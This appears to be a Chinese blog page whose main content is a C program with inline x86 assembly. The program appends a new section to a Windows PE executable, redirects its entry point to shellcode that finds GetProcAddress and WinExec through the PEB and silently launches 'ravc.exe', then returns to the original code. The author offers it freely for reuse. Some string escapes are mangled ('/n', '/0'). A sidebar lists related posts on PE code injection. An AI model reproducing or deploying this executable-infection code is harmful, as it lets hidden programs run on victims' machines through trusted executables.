PE 添加新节 执行指定程序

PE文件操作-末尾添加节 有时候为了某些原因,需要在PE末尾添加节,比如加壳,补丁等等,需要对PE文件进行扩展。 在末尾添加节是最简单的方式,只需要做如下修改: 修改FILE_HEADER中的节数目字段 修改OPTIONAL_HEADER中映像大小字段 在节描述符数组中添加新描述符 在文件末尾添加新节数据 首先找到文件最后一个节并计算出PE范围内的文件结尾,这里的末尾是指PE描述范围内的文件结尾,即最后一个节的结束: 阅读详情
/********************************************************************
author:  Hanker98
purpose: 增加一个新节用于C盘的程序
被执行程序可以在 windows 或system32 和被修改程序的目录都可以运行成功
*********************************************************************/
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>


#define DEBUG    1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE  0x1000
#define SECTION_NAME  ".hhkr"
#define FILE_NAME_LENGTH 30


int Align(int size, int ALIGN_BASE)
{
int ret;
int result;

assert( 0 != ALIGN_BASE );

result = size % ALIGN_BASE;
if (0 != result)
{
  ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
  ret = size;
}

return ret;
}

void hellp()
{
printf("用法:/n");
printf("peexe.exe FileName/n");
printf("eg: /n");
printf("/peexe.exe test.exe/n");
printf("Coded by:Hanker98/n");
}



int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader;
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP;
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;



if (NULL == argv[1])
{
  puts("参数错误~~~/n");
  hellp();
  exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");

if (!CopyFile(srcFileName, newFileName, FALSE))
{
  puts("Copy file failed");
  exit(0);
}

pNewFile = fopen(newFileName, "rb+");
if (NULL == pNewFile)
{
  puts("Open file failed");
  exit(0);
}


fseek(pNewFile, 0, SEEK_SET);

fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;

oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;

for (i = 0; i < numOfSections; i++)
{
  fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
}


extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++;

memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));

strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));


newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
  SECTION_ALIGN_MENT);

newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);

newSectionHeader.PointerToRawData = Align
  (
  SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
  FILE_ALIGN_MENT
  );

newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);

newSectionHeader.Characteristics = 0xE0000020;

NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
    + Align(SECTION_SIZE, SECTION_ALIGN_MENT);

NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;



fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;

fseek(
  pNewFile,
  DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
  + numOfSections * sizeof(IMAGE_SECTION_HEADER),
  SEEK_SET
  );
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);


fseek(pNewFile, 0, SEEK_END);

for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
  fputc(0, pNewFile);
}

fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
goto GetExtraData;


extra_data_start:   
    __asm
    {
        push ebp;
        sub  esp, 0x40;
        mov  ebp,esp;

        push ebp;
            mov eax, fs:0x30           
            mov eax, [eax + 0x0c]       
            mov esi, [eax + 0x1c]       
            lodsd               
            mov edi, [eax + 0x08]       
           
            mov        eax, [edi+3Ch]           
            mov        edx,[edi+eax+78h]
            add        edx,edi                   
            mov        ecx,[edx+18h]               
                    mov        ebx,[edx+20h]                
            add        ebx,edi                                           
search:
            dec        ecx
            mov        esi,[ebx+ecx*4]               
            add        esi,edi                       
            ;GetProcAddress
            mov            eax,0x50746547
            cmp            [esi],    eax;   
            jne        search
            mov            eax,0x41636f72
            cmp            [esi+4],eax;   
            jne        search               
           
               
                    mov        ebx,[edx+24h]
            add        ebx,edi               
            mov        cx,[ebx+ecx*2]           
                    mov        ebx,[edx+1Ch]
            add        ebx,edi               
            mov        eax,[ebx+ecx*4]           
            add        eax,edi               


            mov    [ebp+40h], eax           
       
            push dword ptr 0x00636578
            push dword ptr 0x456E6957
            push esp
            push edi
            call [ebp+40h]
            mov  [ebp+4],  eax
            push 0
call EXEC;   
        _emit 'r';       
        _emit 'a';
        _emit 'v';
        _emit 'c';       
        _emit '.';
        _emit 'e';
        _emit 'x';
        _emit 'e';
        _emit '/0';     //运行程序的 名字,   

EXEC:
        pop edi;   
        push edi;
        call [ebp+4] ; 调用 WinExec("ravc.exe")
        add esp, 0x40;
        pop ebp;
       
            }
extra_data_end:

GetExtraData:
    _asm
    {
    pushad;
    lea eax, extra_data_start;
    mov pExtra_data, eax;
    lea edx, extra_data_end;
    sub edx, eax;
    mov extra_data_real_length, edx;
    popad;
        }

for (i = 0; i < extra_data_real_length; i++)
{
  fputc(pExtra_data[i], pNewFile);
}

oldEP = oldEP - (newEP + extra_data_real_length) - 5;
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);

fclose(pNewFile);

return 0;
}




代码来自网络+自己的思路和意图修改后的产物 所以此代码没有版权的限制
可以随意的修改增减,如果你修改了 感觉比此代码功能好的话 希望你也能贴出代码来 让大家学学~~~~~~~~~~ 
最详细的 SAP ABAP Web Service 创建和消费步骤讲解 本文原版发表于 SAP 官方社区,当时用的英文版写作,标题为:Step by step to create, consume and trace web service in ABAP system https://blogs.sap.com/2014/05/20/step-by-step-to-create-consume-and-trace-web-service-in-abap-system/ 总共阅读量超过 18 万。 How to create web service provider in A 阅读详情

相关推荐

PE文件简单加密(加壳)--源码 <img src="/images/sunny.gif" ali

这个小软件通过在可执行文件(.exe)的尾部添加一个新节(Section),并且修改PE的入口地址,使可执行文件在运行时,跳出一个输入密码的对话框,从而实现了简单的加密。源程序采用Delphi 6.0编写, 兼有少量的asm代码,用於可执行文件的加密。如需传播,请保留作品的完整性!

滴水三期:day33.1-新增节、扩大节-添加代码

一、新增节思路>二、手动新增节添加代码>三、代码实现(1.编程实现:新增一个节,并添加代码>2.编程实现:扩大最后一个节,并添加代码)

Edimade的博客 1879

添加节,插入PE文件

把任何二进制文件,以新添加一个节区的方式,插入到可执行文件中!

为PE文件添加新节显示启动信息

下载本节例子程序和源代码 (7.66 KB)病毒并不神秘,也不复杂。相当多的大侠已经在这方面作出了杰出的贡献,例如 29A 组织,我对他们的崇拜之情啊,真是……咳咳,先别扔鸡蛋。其实我想说的是:技术是一柄双刃剑,我们应该把它运用在对社会有益的事情上。所以请勿利用本文的代码进行违法违纪的活动,否则本人保留追究的权利。本文的技术其实早已是老掉牙的东西了,so如果你已经懂得了

itaolu的专栏 1958

改写PE文件导入表加载DLL

通过改写PE文件的导入段,实现DLL的加载。PE文件的导入段记录了系统所要加载的DLL名,以及由该DLL所导出的,PE文件中所用到的函数信息。

PE文件节区添加并弹出简单的对话框

PE文件自动添加节区,并弹出一个简单的对话框(可以自己修改成其它的东西)

PE知识复习之PE新增节

             PE知识复习之PE新增节 一丶为什么新增节.以及新增节的步骤     例如前几讲.我们的PE文件在空白区可以添加代码.但是这样是由一个弊端的.因为你的空白区节属性可能是只读的不能执行.如果你修改了属性.那么程序就可能出现问题.所以新增一个节可以实现我们的代码. 等等.   1.新增节的步骤     1.在最后一个节位置添加一个节.如果没有空白位置.自己需要给扩展...

weixin_30302609的博客 557

向PE文件中插入可执行代码(非源码)

根据PE文件 的结构特征,实现两种不同的向Pe文件插入可执行代码的方法: (1)在本节中的未用空间中插入代码 (2)添加新的节 在编写要添加的代码中,要注意插入代码的变量地址的重定位和代码返回发动态获取API入口地址。。。

主题:web应用service层的全局事物问题

各位大拿,目前公司在做一个企业的管理系统,系统设计把各业务相关的dao继承自basedao,basedao是一些通用方法,在services这一层封装不同dao的操作逻辑,有个问题很困惑,举例studao是一些对学生的操作实现, 比如添加、修改学生信息等,classdao是对班级信息的维护,当然这里面也是实现比较单纯的对班级的添加、修改等,通过stuservice封装对学生的操作,如果有一个操作比

qiuqiu73的专栏 482

Amesim管路仿真进阶:如何用阻力管实现不规则管路的高精度模拟

本文深入探讨了在Amesim仿真中,如何利用阻力管(Orifice with Table)元件,特别是TFORT0子模型,实现对不规则管路的高精度模拟。通过直接输入基于测试或CFD的流量-压降数据,该方法能有效弥补标准管路模型在复杂流道、内部结构复杂等场景下的不足,为液压、热管理等系统仿真提供精准可靠的部件模型。

cicd6pipeline的博客 671

JFET放大电路实例设计仿真

参照《晶体管电路设计》中的例子 JFET 2SK184 JFET 2SK184 数据手册如下 电路设计 共源放大 步骤:1、静态工作点 2N4416 1ma 2、RD和RS A=5 5:1 RS 2V /1m=2k RD 5k 3、偏压VG 根据传输特性 VGS-ID vgs=-0.7 vg=2-0.7=1.3 400k^2/50k...

f的博客 7441

JAVA数据库事物开发一点理解

最近看了几篇关于数据库事物的文章,很受启发。对于复杂的业务系统,通常需要操作各种不同的数据源,为了保证数据的统一性和完整性,必须解决数据库的事物问题。对于简单的单数据源的事物,利用JDBC的事物控制就可以完成,跨数据源多库的事物需要利用JTA的API完成。 1、  问题描述 涉及Web的应用,通常针对每次请求,Servlet容器产生一个新的线程。常用的DAO模式,对于每次dao操作都会获得一

xhpscdx的专栏 854

【STM32】R05D电控红外协议的美的空调遥控器

目录一、设计思路一、R05D红外协议原理1.协议手册理解2.验证时序(重点)二、硬件实现1.需要的材料2.对发射模块电路进行修改3.STM32 GPIO选择三、代码实现1.载波38kHZ实现2.R05D时序实现3.调用函数并验证 一、设计思路 通常红外遥控采用NEC传输协议,而美的空调采用的是R05D红外协议(应该是自己设计的协议),因此用一般红外编码发射模块无法直接对空调进行控制。 解决方法:获取R05D协议手册 + 用红外接收管对原有遥控器红外接收进行波形分析。 一、R05D红外协议原理 R05D电控功

weixin_42204837的博客 1万+

淘淘商城系列(二)—— SSM框架整合之Service层(六)

上文整合完了dao层,本文我们来整个service层。 Service整合 1、管理Service 在taotao-manager-service工程的resources&gt;spring目录下面,创建applicationContext-service.xml文件 导入如下配置: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;...

良月柒 477

ElasticSearch集群搭建

docker安装es集群

weixin_46562226的博客 2025

openEuler 欧拉 安装Oracle19c数据库RPM包安装

欧拉系统安装部署oracle 19c rpm方式

陈苏漾的IT生涯 6893

dao层互相调用事物_maven分模块构建SSM普通web项目:service层代码编写

接着编写service层的代码。1、service接口及其实现类新建service包用于放service接口,还有,新建service.impl包放接口的实现类。如下图,BookService和其实现类BookServiceImpl。因为没有什么业务逻辑,所以接口BookService就和BookDao里面方法一样。public interface BookService { public Boo...

weixin_36340890的博客 178

避开这些坑!RK3588安卓系统内置输入法的正确姿势(含.mk文件修改指南)

本文详细解析了在RK3588安卓系统定制中预置第三方输入法的完整流程与关键避坑指南。重点涵盖APK签名、Android.mk文件编写、系统默认输入法配置(使用adb ime list命令获取服务名)以及SeLinux策略适配等核心步骤,并指出RK3566/RK3568等兄弟平台的通用性与差异点,帮助开发者实现稳定、深度的系统集成。

tgb34567890的博客 437

spring 在web项目中的一些基本配置

spring 在web项目中的一些基本配置 1.首先在项目中的web.xml文件中加入如下xml 片段 //这个是加载spring配置文件,下文以为加载classpath下所有spring路径下的xml文件,classpath后跟*意味同时也会加载其他jar中的xml contextConfigLocation classpath*:spring/*.xml //配置s

qwtfps的专栏 984

代码解读:使用Stable Diffusion完成相似图像生成任务

作为内容生产重要的一部分,生成相似图像是一项有意义的工作,例如很多内容创作分享平台单纯依赖用户贡献的图片已经不够了,最省力的方法就是利用已有的图片生成相似的图片作为补充。这篇博客详细解读基于Stable Diffusion生成相似图片的原理和代码。

沉迷单车的追风少年 1393

从你的全世界路过---陌陌X-SIGN还原

我们上期介绍了hook 接口方式,今天我分析so 层。学习是为了复杂的事情简单化。不用如此繁琐。跟进native_sdbyecbu37x这个函数,我们f5看伪代码 v13 = sign(v9, v10, v11, a6); 跟进这个函数 代码如下(示例): 2.代码贴入 SHA消息摘要java代码如下: java 代码如下(示例): 总结 算法,结合动态调试!

任雪飘的博客 2301

基于REST架构的Web Service设计

REST的架构设计    REST(Representational State Transfer)是一种轻量级的Web Service架构风格,其实现和操作明显比SOAP和XML-RPC更为简洁,可以完全通过HTTP协议实现,还可以利用缓存Cache来提高响应速 度,性能、效率和易用性上都优于SOAP协议。   REST架构遵循了CRUD原则,CRUD原则对于资源只需要四种行 为:Creat

Java我人生的技术博客 4073

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

开发中遇到的Spring事物小问题

1、在service层开启事物时候,发现事物不一致。 案例:serviceA中有方法a 调用了serviceB中方法b 。。。异常后事物没回滚 跟踪第一步: 跟踪日志发现,每个方法都有was not registered for synchronization because synchronization is not active 这么一日志,明显事物没有被spring管理。 mvc项...

weixin_30788619的博客 122

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

ssm框架整合思路

1.DAO层 1.1使用mybatis。需要创建SqlMapConfig.xml. 1.2在dao层还需要一个applicationContext-dao.xml文件。 这个里边需要配置数据源 需要让spring容器管理sqlsessionFactory,单利存在 把mapper的代理对象放到spring容器中,使用扫描包的方式加载mapper的代理对象 2

whisely的博客 932

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

搭建架构 SSM+Dubbox+RestFul

SSM配置思路: MVC : controller层: 接受参数 返回响应 Springmvc: 1、三大组建 2、扫描Controller包 Service层: 处理业务 Spring容器 1、事物 2、扫描@Service注解 Mapper层: 链接数据库,数据源 spring容器 工厂 数据源 扫描Mapper包 web.xml post...

weixin_41979668的博客 221
上一篇: 修改SSDT做简单的进程保护
下一篇: Inject your code to a Portable Executable file
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值